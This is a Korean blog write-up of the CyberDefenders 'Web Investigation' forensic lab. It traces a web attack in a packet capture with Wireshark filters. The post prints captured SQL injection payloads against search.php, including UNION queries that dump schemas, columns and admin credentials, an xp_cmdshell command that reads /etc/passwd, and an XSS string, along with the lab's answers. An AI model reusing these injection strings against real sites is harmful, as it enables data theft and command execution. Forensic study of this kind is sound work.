K-Shield 주니어/스터디CTF

Cyberdefenders - Web Investigation Lab

pkse74 2025. 4. 21. 09:13

문제를 다운로드 받고 Wireshark로 열어준다


wireshark를 열어서 찾다보면 111.224.250.131 이 uri 파라미터로 sql 쿼리문을 넣는것으로 보아 공격하려는 의도가 보인다.

답 : 111.224.250.131


https://www.geolocation.com/ko/index

Google에 IP로 지리적위치 찾기하면 나오는사이트다

여기에 공격자의 IP를 입력해 찾으면 나온다

답 : Shijiazhuang


취약한 php사이트를 확인하기 위해 

http.request.uri contains ".php"         // http request uri에서 .php를 포함한것을 필터링해라

해서 찾아보면 search.php에 파라미터값에 sql 쿼리문을 삽입하는것을 볼수있다. 취약한 php 사이트이기에 가능한것이다.

답 : search.php


내려보면 sql injection 대입한 패킷이보인다.

답 : /search.php?search=book%20and%201=1;%20--%20-


필터링걸어서 찾아보자

http.request.full_uri

uri 인코딩
/search.php?search=book&ZscL=7696%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23
uri 디코딩
/search.php?search=book&ZscL=7696 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

스키마관련 파라미터값이 있길래 찾아봤더니 sql 인젝션 문구가 들어가있다.  db를 읽는 문구를 찾아야하니 다른것을 찾아보자

http.request.full_uri and http.request.method == GET and http.request.uri contains "SELECT" 

DB읽는 요청이니 GET 과 select 필터링을 더추가해주엇다

추가해놓고 보니 그냥 select만 추가 해도 될거같기도 하다..?

그래도 너무많아서 

http.request.full_uri and http.request.method == GET and http.request.uri contains "SELECT" and http.request.uri contains "INFORMATION_SCHEMA"

인포케이션 스키마도 추가하였다 그러고나니

5가지정도 나타나는데 들어가서 전부다 uri 디코딩을 해주면 그중에서 db조회 답을 찾으면된다.

답 : /search.php?search=book' UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -


http.request.uri contains "table_name"

필터링 걸어주고 uri를 살펴보면

/search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Ccolumn_name%2Ccolumn_type%29%29%2C0x7176706a71%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x637573746f6d657273%20AND%20table_schema%3D0x626f6f6b776f726c645f6462--%20-

위 uri 처럼 되있는걸 찾을수있다 이것을 디코딩해주면

book' 
UNION ALL 
SELECT NULL, 
       CONCAT(
           0x7178766271, 
           JSON_ARRAYAGG(
               CONCAT_WS(
                   0x7a76676a636b, 
                   column_name, 
                   column_type
               )
           ), 
           0x7176706a71
       )
FROM INFORMATION_SCHEMA.COLUMNS
WHERE 
  table_name = 0x637573746f6d657273 AND 
  table_schema = 0x626f6f6b776f726c645f6462 
-- -

table name이 hex로 인코딩이 되어있는데

이것을 디코딩하면

customers 가나온다

답 : customers


보통 여러가지 숨겨진 디렉토리가 있는데 그중 한번 admin을 요청한흔적이있는지 찾아보앗다

http.request.uri contains "admin"

admin폴더에 접근해 여러가지 요청들을 보냈다

답 : /admin/


패스워드를 요청하는 필터링을 걸어주면

http.request.uri contains "password"

응답이 ok로 온것이있다. 열어서 분석해보면

어떤 요청에의해서 응답한건지 알수가있는데 

저 uri를 복호화하면

SELECT NULL, 
       CONCAT(
         0x7178766271, 
         JSON_ARRAYAGG(
           CONCAT_WS(0x7a76676a636b, id, password, username)
         ), 
         0x7176706a71
       )
FROM bookworld_db.`admin`

id,password,username을 빼내려는 sql문에대한 응답인것을 확인가능하다

그럼 응답을 확인해보면

<p>qxvbq["1zvgjckadmin123!zvgjckadmin"]qvpjq</p>
<form action="search.php" method="get">

항목설명

qxvbq 결과 시작 토큰
qvpjq 결과 종료 토큰
zvgjck 구분자 (공격자가 선택한 컬럼 구분자)
"1zvgjckadmin123!zvgjckadmin" 추출된 한 줄의 레코드
{
  "id": "1",
  "password": "admin123!",
  "username": "admin"
}

답 : admin:admin123!


HTTP follow stream을 해서 응답까지 확인해야한다. 정상업로드됬는지

답 : Nvri2vhp.php